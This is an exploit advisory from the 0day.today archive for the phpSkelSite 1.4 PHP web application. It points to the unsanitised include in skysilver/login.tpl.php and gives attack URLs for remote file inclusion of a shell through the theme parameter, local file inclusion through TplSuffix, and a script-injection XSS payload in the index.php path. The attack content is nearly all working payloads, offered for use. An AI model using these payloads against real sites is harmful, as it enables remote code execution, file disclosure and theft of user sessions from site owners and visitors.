phpSkelSite 1.4 (RFI/LFI/XSS) Multiple Remote Vulnerabilities

2009-01-02T00:00:00
ID 1337DAY-ID-4592
Type zdt
Reporter ahmadbady
Modified 2009-01-02T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================================================
phpSkelSite 1.4 (RFI/LFI/XSS) Multiple Remote Vulnerabilities
=============================================================


-----------------:RFI/LFI/xss:-----------------
-------------------------------------------
script:phpSkelSite
   
------------------------------------------------------------------
download from:http://apmuthu.tripod.com/files/phpSkelSite_v1.4.zip
   
------------------------------------------------------------------

........................................................
vul:/skysilver/login.tpl.php line 1

<? include $theme.'/pageheading'.$TplSuffix ; ?>


------------------------------------------------------
Rfi:

http://127.0.0.1/path/skysilver/login.tpl.php?theme=[shell.txt?]

Lfi:

http://127.0.0.1/path/skysilver/login.tpl.php?TplSuffix=[lfi]

***************************************************
xss:
http://127.0.0.1/path/index.php/>"><ScRiPt>alert('ahmadbady')</ScRiPt>
***************************************************
---------------------



#  0day.today [2018-04-10]  #